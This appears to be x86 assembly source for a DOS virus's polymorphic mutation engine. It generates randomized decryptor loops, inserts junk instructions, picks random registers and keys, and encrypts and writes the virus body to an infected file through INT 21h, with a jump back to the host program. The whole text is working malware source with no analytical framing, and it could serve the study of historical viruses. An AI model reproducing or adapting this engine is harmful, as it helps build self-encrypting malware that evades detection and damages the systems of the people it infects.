;----------------------------<>--------------------------------------- _ax equ 0 _cx equ 1 _dx equ 2 _bx equ 3 _sp equ 4 _bp equ 5 _si equ 6 _di equ 7 engine: mov ds:pointer,ax ; save IP mov di,offset decrypt mov bx,offset make_count mov cx,offset make_key mov dx,offset make_ptr mov si,offset order_ret or bp,11101111b ; SP is used call order ; randomize and call registers push di ; save start of loop push di mov si,offset encode mov di,offset write_buff mov cx,encode_end-encode rep movsb ; copy write code mov ds:encode_ptr,offset (encode_break-encode)+write_buff pop di mov bx,offset make_enc mov cx,offset make_keychange mov dx,offset make_deccount mov si,offset make_incptr call order ; call routines ;=====( Preform loop )=======================================================; mov ax,2 push ax call random ; test BP for 4000? pop ax jz loop_no_test test bp,4000h ; possible to just "Jcc"? jnz loop_make_jcc loop_no_test: call random jz loop_no_test1 test bp,2000h ; use loop? jnz loop_make_jcc loop_no_test1: or bp,800h ; do not change flags mov ax,2 cwd call random ; try OR/AND/TEST reg,reg ; or XOR/ADD/OR/SUB reg,0? mov al,ds:count_reg ; get counter jnz loop_orandtest call boolean ; do XOR/OR/ADD or ADD/SUB? jnz loop_modify call add_reg ; ADD/SUB reg,0 jmp loop_make_jcc loop_modify: call modify_reg ; XOR/OR/ADD reg,0 jmp loop_make_jcc loop_orandtest: mov cl,3 mov ch,al shl ch,cl or al,ch ; set reg1 as reg2 also mov bx,2 ; OR/AND/TEST call random_bx jnz loop_and or ax,9c0h ; OR reg1, reg2 loop_reverse: call boolean ; use 9 or 11? jnz loop_orandteststo or ah,2h ; reg2, reg1 jmp loop_orandteststo loop_and: dec bx jnz loop_test or ax,21c0h ; AND reg1, reg2 jmp loop_reverse loop_test: or ax,85c0h ; TEST reg1, reg2 loop_orandteststo: xchg al,ah stosw ; store TEST/OR/AND or bp,1800h ; do not change flags/ ; test stored call garble loop_make_jcc: and bp,not 800h test bp,2000h ; code loop? jz loop_make_jump mov al,0e2h ; LOOP test bp,1000h ; possible to use LOOPNZ/Z? jz loop_code_disp call boolean jnz loop_code_disp dec ax ; LOOPZ call boolean jnz loop_iscx dec ax ; LOOPNZ jmp loop_code_disp ;=====( Now make conditional jump )==========================================; jcc_tbl: db 75h,79h,7dh,7fh ; JNE/JNS/JG/JGE loop_make_jump: mov bx,offset jcc_tbl mov ax,3 call random xlat ; get Conditional jump mov bx,2 call random_bx ; use JE/JS/LE/L then JMP? jnz loop_code_disp cmp ds:count_reg,_cx ; CX is counter? jnz loop_notcx mov bl,4 call random_bx jnz loop_notcx mov al,0e3h + 1 ; JCXZ + 1 loop_notcx: dec ax loop_iscx: stosw cmp al,07fh ; Jcxz/loopz? ja loop_code_short call boolean ; Use opposite or EB? jnz loop_code_short or bp,800h ; dont change flags loop_code_short:mov si,di ; save offset of displacement call garble lea ax,ds:[si-2] sub ax,di neg al ; get jump displacement mov ds:[si-1],al ; save it test bp,800h ; Dont change flags -> "Jcc" mov al,0ebh ; Jmp short je loop_code_disp mov ax,3 call random mov bx,offset jcc_tbl xlat ; Get JNE/JNS/JG/JGE loop_code_disp: stosb ; store jump pop ax ; start of loop dec ax sub ax,di ; get loop displacement stosb or bp,11101111b ; free all registers and bp,not 800h ; allow flags to change call garble mov ax,19 call random ; 1 in 20 chance of non-jmp jnz loop_code_jmp mov ax,ds:pointer add ax,offset file_start ; where to jump xchg dx,ax call get_reg ; get a register call mov_reg ; Mov value into register or ax,0ffc0h + (4 shl 3) ; JMP reg16 call boolean ; PUSH/RET or JMP reg16? jnz loop_code_push xchg al,ah jmp loop_code_stosw loop_code_push: mov bx,2 call random_bx ; 1 in 3 chance of FF /6 PUSH jnz loop_code_push1 xor al,(6 shl 3) xor (4 shl 3) ; PUSH reg xchg al,ah stosw jmp loop_code_ret loop_code_push1:xor al,50h xor (0c0h or (4 shl 3)) ; PUSH reg stosb loop_code_ret: call garble mov al,0c3h ; RETN stosb jmp loop_code_end loop_code_jmp: mov al,0e9h stosb ; Store Jump lea ax,ds:[di-((file_start-2)-v_start)] neg ax ; Jmp file_start loop_code_stosw:stosw loop_code_end: mov si,ds:encode_enc_ptr ; get encrypt instruction ptr cmp di,offset header ; Decryptor is too large? jb go_write_buff stc ; return error pushf pop bp retn go_write_buff: jmp write_buff ; encrypt/write/decrypt ;=====( Inc pointer )========================================================; make_incptr: mov ax,word ptr ds:ptr_reg ; get pointer registers mov dx,2 ; ADD ptr,2 cmp ah,-1 ; two registers used? jz make_incptr_1 call boolean ; do one or both? jnz make_incptr_do1 dec dx ; ADD ptr,1 call make_incptr_do1 jmp make_incptr_2 make_incptr_do1:call boolean jnz make_incptr_1 make_incptr_2: xchg al,ah make_incptr_1: call add_reg sub ds:disp,dx ; add to displacement retn ;=====( Dec counter )========================================================; make_deccount: cmp si,offset make_deccount ; last operation? jnz make_deccount_notlast call boolean ; do it? jnz make_deccount_notlast or bp,4800h ; remember we're last make_deccount_notlast: mov al,ds:count_reg cmp al,_cx ; possible to use LOOP/LOOPNZ? jnz make_deccount_notcx call boolean jnz make_deccount_notcx or bp,2000h ; do LOOP jmp make_deccount_exit make_deccount_notcx: mov dx,-1 ; ADD counter,-1 call add_reg make_deccount_exit: or bp,400h ; deccount executed retn ;=====( Make encryption instruction )========================================; make_enc: push bp and bp,not 400h mov al,ds:key_reg push ax ; save key register make_enc_which: mov ax,4 ; ADD/SUB/XOR/ROR/ROL call random mov bx,0105h ; ADD [DI],AX mov cx,1119h ; ADC/SBB mov dx,2905h ; SUB [DI],AX jz make_enc_add dec ax jz make_enc_sub dec ax jnz make_enc_ror mov bh,31h ; XOR mov dx,3105h ; XOR [DI],AX jmp make_enc_sto make_enc_ror: cmp ds:key_reg,_cx ; CX is key? jne make_enc_which or bp,400h ; Put XCHG CX,AX mov bh,0d3h mov dx,0d30dh ; ROL dec ax jz r_make_enc_sto xchg bx,dx ; ROR r_make_enc_sto: mov ds:key_reg,al ; 1 SHL 3 = 08 / D3 08 ; D3 00 = ROL [],CL jmp make_enc_sto make_enc_sub: xchg dh,bh ; SUB - ADD [DI],AX xchg cl,ch ; SBB/ADC make_enc_add: call boolean ; do Carry? jnz make_enc_sto push bx mov bh,ch ; Make it ADC/SBB call clear_carry cmp al,0 org $ - 1 make_enc_sto: push bx test bp,8000h ; EXE file? jz make_enc_com call is_bp_ptr ; is BP a pointer? je make_enc_com mov al,2eh ; CS: call boolean jnz make_enc_cs mov al,36h ; SS: make_enc_cs: stosb ; store segment override make_enc_com: mov al,bh stosb ; store instruction mov ax,word ptr ds:ptr_reg ; get pointer registers cmp ah,-1 ; second reg? je make_enc_xlat add al,ah make_enc_xlat: mov bx,offset rm_tbl xlat ; get r/m call is_bp_ptr ; is BP a pointer? jnz make_enc_nobp inc ah ; is there a second reg? jne make_enc_nobp or al,01000000b ; [BP+xx] make_enc_nobp: mov cx,ds:disp ; get displacement mov bx,6 call random_bx ; allow no displacement? jz make_enc_get_disp jcxz make_enc_sto_rm make_enc_get_disp: or al,01000000b ; 8bit displacement call boolean ; allow 8bit displacement? jnz make_enc_16bit cmp cx,7fh ; 8bit displacement? jbe make_enc_sto_rm cmp cx,-80h jb make_enc_16bit xor ch,ch cmp ax,0 org $ - 2 make_enc_16bit: xor al,11000000b ; 8bit off, 16bit on make_enc_sto_rm:mov ah,ds:key_reg shl ah,1 shl ah,1 shl ah,1 ; from bits 0-2 of AH or al,ah ; to bits 3-5 of AL stosb ; store r/m byte test al,11000000b ; any displacement? jz make_enc_disp test al,10000000b ; 16bit displacement? xchg cx,ax stosw ; store displacement jnz make_enc_disp dec di ; 8bit only make_enc_disp: xchg di,ds:encode_ptr ; get encode ptr test bp,400h ; store XCHG CX,AX? je make_enc_nor mov al,91h ; XCHG CX,AX stosb make_enc_nor: xchg dx,ax xchg al,ah mov ds:encode_enc_ptr,di ; save instruction pointer stosw ; set encryption instruction je make_enc_nor1 mov al,91h ; XCHG CX,AX stosb make_enc_nor1: xchg di,ds:encode_ptr ; restore decrypt ptr pop ax xchg al,ah mov word ptr ds:write_buff[encode_flip-encode],ax ; save opposite operation pop ax mov ds:key_reg,al ; restore key register pop bp retn rm_tbl: db -1,-1,-1,7,-1,6,4,5,-1,0,1,2,3 ; -1's not used ;=====( Change key )=========================================================; make_keychange: call boolean ; change key? jnz make_keychange_yes retn make_keychange_yes: push bp or bp,200h ; let know that keychange mov ax,3 call random ; 1 in 4 chance of modify_reg jnz keychange_other call random_1 xchg dx,ax ; Random value to modify key ; reg by mov al,ds:key_reg call modify_reg ; XOR/ADD/OR keychange_stoop:xchg di,ds:encode_ptr ; get ptr to encode inc di ; CLC mov al,ds:modify_op ; get operation stosb keychange_stodx:xchg dx,ax ; store value/operation keychange_sto: stosw xchg di,ds:encode_ptr ; get decrypt pointer pop bp retn keychange_other:mov al,4 ; ROR/ROL/NOT/NEG/ADD call random jnz keychange_rol mov ax,0d1c0h ; ROR AX,1 keychange_cl: mov bx,2 ; 1 in 3 chance of ,CL call random_bx jnz keychange_nocl cmp ds:count_reg,_cx ; Count is CX? jne keychange_nocl test bp,400h ; Count already decremented? jnz keychange_nocl or ah,2 ; By CL keychange_nocl: xchg al,ah push ax or ah,ds:key_reg ; set key register stosw ; store instruction pop ax xchg di,ds:encode_ptr ; get encode ptr jmp keychange_sto keychange_rol: dec ax jnz keychange_not mov ax,0d1c0h or (1 shl 3) ; ROL AX,1 jmp keychange_cl keychange_not: dec ax jnz keychange_neg mov ax,0f7c0h + (2 shl 3) ; NOT AX jmp keychange_nocl keychange_neg: dec ax jnz keychange_add mov ax,0f7c0h + (3 shl 3) ; NEG AX jmp keychange_nocl keychange_add: call random_1 xchg dx,ax mov al,ds:key_reg ; get key register call add_reg ; ADD reg(ax), value(dx) jmp keychange_stoop ;=====( Build key )==========================================================; make_key: call get_reg ; get register xchg dx,ax call random_1 ; get key mov ds:key,ax ; save key xchg dx,ax mov ds:key_reg,al ; save register call mov_reg ; MOV reg(ax),value(dx) retn ;=====( Build counter )======================================================; make_count: call get_reg ; get register mov ds:count_reg,al ; save register mov dx,(decrypt-v_start)/2 ; # of words to crypt call mov_reg ; mov reg(ax),value(dx) retn ;=====( Build Pointer )======================================================; make_ptr: mov dx,ds:pointer call get_ptr_reg ; get DI/SI/BP/BX mov ds:ptr_reg,al mov ds:ptr_reg1,-1 mov bx,3 call random_bx ; 1 in 4 chance of 2 regs jnz make_ptr_2 cmp al,_si mov bx,11000000b ; DI/SI jb make_ptr_test mov bl,00101000b ; BP/BX make_ptr_test: test bp,bx ; 'other' availible? jz make_ptr_2 make_ptr_again: call get_ptr_reg ; get DI/SI/BP/BX push ax call conv_num ; convert to bit-map number test al,bl ; is it other type? pop ax jnz make_ptr_ok call del_reg ; delete register jmp make_ptr_again make_ptr_ok: mov ds:ptr_reg1,al ; save second register mov bx,-1 call random_bx sub dx,bx ; randomize values xchg bx,dx call mov_reg ; mov reg(ax), value(dx) xchg bx,dx mov al,ds:ptr_reg ; get first reg make_ptr_2: xor bx,bx ; zero displacement call boolean ; use one? jnz make_ptr_nodisp mov bx,-1 call random_bx sub dx,bx ; subtract displacement make_ptr_nodisp:mov ds:disp,bx ; save displacement call mov_reg ; mov reg(ax), value(dx) retn ;=====( Shell for mov_reg1 )=================================================; mov_reg: push bx dx mov bx,4 call random_bx ; 1 in 5 chance of MOV/ADD/SUB jnz mov_reg_call mov bx,-1 call random_bx ; get random # sub dx,bx ; MOV reg, value-random # call mov_reg1 ; do MOV reg, mov dx,bx call add_reg ; Now add difference pop dx bx retn mov_reg_call: pop dx bx ;=====( Mov reg(ax), value(dx) )=============================================; mov_reg1: push ax bx cx dx cbw mov bx,2 call random_bx ; MOV or SUB/XOR ADD/OR/XOR jz mov_reg_other mov bl,2 call random_bx ; 1 in 3 chance of c6/c7 MOV jnz mov_reg_b0 or ax,0c7c0h ; MOV reg,imm call boolean ; Do long MOV or LEA? jnz mov_reg_c7 mov cl,3 shl al,cl ; Reg -> bits 3,4,5 xor ax,(8d00h or 110b) xor 0c700h ; LEA reg,[imm] mov_reg_c7: xchg al,ah stosw ; store it mov_reg_sto: xchg dx,ax stosw ; store value call garble mov_reg_exit: jmp modify_pop mov_reg_b0: or al,0b8h ; MOV reg,imm stosb jmp mov_reg_sto mov_reg_other: push ax mov cl,3 mov ch,al shl ch,cl ; copy reg1 to reg2 or al,ch ; set it call boolean jnz mov_reg_other1 or ah,2 ; reg1, reg2 -> reg2, reg1 mov_reg_other1: call boolean jnz mov_reg_xor or ax,29c0h ; SUB reg, reg call boolean jnz mov_reg_other_sto xor ah,19h xor 29h ; SBB reg, reg call clear_carry ; clear carry flag mov_reg_other_sto: xchg al,ah stosw call garble pop ax call modify_reg ; ADD/OR/XOR reg(ax),value(dx) jmp mov_reg_exit mov_reg_xor: or ax,31c0h ; XOR AX,AX jmp mov_reg_other_sto ;=====( ADD/OR/XOR reg(ax), value(dx) )======================================; modify_reg: push ax bx cx dx cbw mov bx,2 call random_bx mov cx,3500h + (6 shl 3) ; XOR jz modify_reg_cont mov cx,0d00h + (1 shl 3) ; OR dec bx jz modify_reg_cont modify_reg_add: mov cx,0500h ; ADD call boolean ; ADC or ADD? jnz modify_reg_cont mov cx,1500h + (2 shl 3) ; ADC modify_reg_clc: call clear_carry ; Clear carry flag modify_reg_cont:test bp,200h ; keychange executing? jz modify_reg_nosave mov ds:modify_op,ch ; save AX operation modify_reg_nosave: call boolean ; check if AX? jnz modify_reg_noax or al,al ; AX? jnz modify_reg_noax mov al,ch stosb ; store instruction xchg dx,ax modify_sto: stosw ; store value modify_exit: call garble modify_pop: pop dx cx bx ax retn modify_reg_noax:or ax,81c0h or al,cl ; XOR/OR/ADD call boolean ; sign extend? jnz modify_reg_nosign cmp dx,7fh ; possible to sign extend? jbe modify_sign cmp dx,-80h jb modify_reg_nosign modify_sign: or ah,2 ; sign extend modify_reg_nosign: xchg al,ah stosw test al,2 ; sign extended? xchg dx,ax je modify_sto stosb jmp modify_exit ;=====( ADD reg(ax), value(dx) )=============================================; add_reg: push ax bx cx dx cbw mov cx,dx add_loop: mov bx,3 call random_bx ; 1 in 4 chance of ADD/SUB jz add_noinc mov bx,40c0h ; INC reg test bp,200h ; keychange running? jz add_nosave mov ds:modify_op,05h ; ADD AX, add_nosave: cmp cx,3h ; too high to INC? jb add_inc neg cx cmp cx,3h ; too low to DEC? ja add_noinc mov bx,48c0h + (1 shl 3) ; DEC reg test bp,200h jz sub_nosave mov ds:modify_op,2dh ; SUB AX, sub_nosave: inc dx inc cx cmp ax,0 org $ - 2 add_inc: dec dx dec cx push ax mov ax,5 call random ; 1 in 6 chance of FF pop ax push ax jnz add_inc_40 mov ah,0ffh xchg bl,bh xchg al,ah ; AL=ff AH=Reg stosb xchg al,ah add_inc_40: or al,bh ; set DEC/INC stosb pop ax call garble or dx,dx ; all done? jnz add_loop add_reg_exit: jmp modify_pop add_noinc: call boolean ; ADD or SUB? jz sub_reg jmp modify_reg_add sub_reg: test bp,200h ; keychange? jnz sub_reg_key neg dx sub_reg_key: mov cx,2d00h + (5 shl 3) ; SUB call boolean ; use SBB? jz sbb_reg jmp modify_reg_cont sbb_reg: mov cx,1d00h + (3 shl 3) ; SBB jmp modify_reg_clc ;=====( clear carry flag )===================================================; clear_carry: push ax bp or bp,800h ; don't change flags mov al,0f8h ; CLC call boolean jnz clear_carry_clc mov ax,0f5f9h ; STC/CMC stosb call garble xchg al,ah clear_carry_clc:stosb call garble pop bp ax retn garble: push ax mov ax,2 call random ; how many times to call? xchg cx,ax jcxz garble_exit garble_loop: call garble1 loop garble_loop garble_exit: xchg cx,ax pop ax retn ;=====( add garbage code )===================================================; garble1: push ax bx cx dx bp test bp,100h ; Garble already executing? jnz garble_ret and bp,not 200h ; keychange not executing or bp,100h ; Garble executing call boolean jnz garble_ret mov cl,3 call random_1 xchg dx,ax ; DX=random number call get_reg ; get register jc garble_ret mov bx,6 test bp,800h ; flag change allowed? jz garble_f mov bl,2 garble_f: call random_bx ; MOV/1BYTE/XCHG/MODIFY/ADD/MOV? jnz garble_xchg or ah,89h garble_reg_set: call boolean ; reg1, reg2 or reg2, reg1? jz garble_reg_reg or ah,2 ; 8b xchg al,dl garble_reg_reg: and dl,7 ; Get register values only and al,7 shl dl,cl or al,0c0h ; MOV reg1, random reg or al,dl xchg al,ah stosw garble_ret: pop bp jmp modify_pop garble_xchg: dec bx jnz garble_1byte xchg dx,ax call get_reg ; get another reg jc garble_ret xchg dx,ax ; AL=reg1 DL=reg2 call boolean jnz garble_xchgnoax or dl,dl ; AX? jz garble_xchgax or al,al jz garble_xchgax garble_xchgnoax:or ah,87h ; XCHG reg1, jmp garble_reg_reg garble_xchgax: or al,90h or al,dl ; XCHG AX, reg garble_stosb: stosb jmp garble_ret garble_1byte: dec bx jnz garble_modify mov al,4 call random mov bx,offset garble_1byte_tbl xlat ; get 1 byte instruction jmp garble_stosb garble_modify: dec bx jnz garble_add call modify_reg ; ADD/XOR/OR reg1, random # jmp garble_ret garble_add: dec bx jnz garble_mov call add_reg ; ADD/SUB reg1, random # jmp garble_ret garble_mov: dec bx jnz garble_op call mov_reg ; MOV reg1, random # jmp garble_ret garble_op: and dh,00111000b ; get rnd op mov ah,1 or ah,dh jmp garble_reg_set garble_1byte_tbl: db 2eh db 36h cld std sti ;=====( Is BP a Pointer? )===================================================; is_bp_ptr: cmp ds:ptr_reg,_bp je bp_is_ptr cmp ds:ptr_reg1,_bp bp_is_ptr: retn ;=====( Get pointer register (DI/SI/BP/BX) )=================================; get_ptr_regnext:call del_reg ; restore register to pool get_ptr_reg: call get_reg ; get register cmp al,_bx je got_ptr_reg cmp al,_bp jb get_ptr_regnext got_ptr_reg: retn ;=====( return random register in AL )=======================================; get_reg: test bp,11101111b ; any registers free? stc jz get_reg_exit get_reg_loop: mov ax,7 call random push ax cbw call conv_num ; convert to bit map test bp,ax ; is register free? pushf not ax and bp,ax ; mark register popf pop ax jz get_reg_loop get_reg_exit: retn ;=====( Restore register to pool )===========================================; del_reg: push ax cbw call conv_num ; convert to bit number or bp,ax ; restore register pop ax retn ;=====( convert number to bit map )==========================================; conv_num: push cx mov cl,al mov al,1 shl al,cl pop cx retn ;=====( randomize order of BX/CX/DX/SI, then call )==========================; order: call garble mov ax,2 call random xchg cx,ax inc cx order_loop: call boolean jnz order1 xchg bx,ax order1: call boolean jnz order2 xchg dx,ax order2: call boolean jnz order3 xchg si,ax order3: loop order_loop push si dx bx ax order_ret: retn ;=====( return random number between 0 and ffff in bx )======================; random_bx: xchg bx,ax call random xchg bx,ax retn ;=====( flip Sign bit )======================================================; boolean: push ax mov ax,1 call random pop ax retn ;=====( return random number between 0 and ffff )============================; random_1: mov ax,-1 ;=====( Generate random number between 0 and AX )============================; random: push ds bx cx dx ax xor ax,ax int 1ah push cs pop ds in al,40h xchg cx,ax xchg dx,ax mov bx,offset ran_num xor ds:[bx],ax rol word ptr ds:[bx],cl xor cx,ds:[bx] rol ax,cl xor dx,ds:[bx] ror dx,cl xor ax,dx imul dx xor ax,dx xor ds:[bx],ax pop cx xor dx,dx inc cx je random_ret div cx xchg ax,dx random_ret: pop dx cx bx ds or ax,ax retn ran_num dw ? ;=====( Encrypts the code/writes it/decrypts code )==========================; encode: mov bx,ds:handle mov ax,0 key = word ptr $ - 2 mov cx,(decrypt-v_start)/2 xor di,di encode_break: clc clc clc clc ; XCHG CX,AX XCHG CX,AX clc clc ; CLC ADD AX,xxxx / XOR [DI],AX clc clc ; XOR [DI],AX / CLC ADD AX,xxxx inc di inc di loop encode_break encode_ret = byte ptr $ mov ah,40h mov cx,file_size cwd pushf call cs:int_21 jc encode_flag sub ax,cx encode_flag: pushf pop bp mov word ptr ds:[si],0 encode_flip = word ptr $ - 2 mov byte ptr ds:write_buff[encode_ret-encode],0c3h jmp encode encode_end: